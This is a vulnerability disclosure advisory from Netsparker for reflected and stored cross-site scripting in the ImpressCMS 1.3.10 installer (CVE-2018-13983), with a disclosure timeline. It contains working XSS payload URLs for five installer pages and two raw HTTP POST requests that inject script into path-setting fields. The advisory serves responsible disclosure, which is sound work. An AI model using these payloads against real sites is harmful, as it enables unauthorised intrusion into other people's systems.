Information
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Advisory by Netsparker
Name: Reflected and Stored XSS Vulnerabilities in ImpressCMS
Affected Software: ImpressCMS
Affected Versions: 1.3.10
Homepage: https://www.impresscms.org/
Vulnerability: Reflected and Stored XSS Vulnerabilities
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13983
Netsparker Advisory Reference: NS-18-033

Technical Details
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Cross-site Scripting

URL  http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>alert(0x00012C)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>alert(0x0006F2)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>alert(0x000881)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>alert(0x000919)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>
Proof URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>alert(0x0006F0)</scRipt>
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>

-------

Stored Cross-Site Scripting

URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Injection URL  http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php

Vulnerable TRUST_PATH :

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH=%2fvar%2fwww%2fhtml%2fScanApp%2fimpresscms%2fhtdocs&TRUST_PATH='"--></style></scRipt><scRipt>netsparker(0x000F44)</scRipt>
#End

Vulnerable ROOT_PATH :

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH='"--></style></scRipt><scRipt>netsparker(0x000F41)</scRipt>&TRUST_PATH=%2fvar%2fwww%2f623962b73562c7f
#End

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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8th November 2018- First Contact
3rd December 2018 - Vendor Fixed
2nd January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.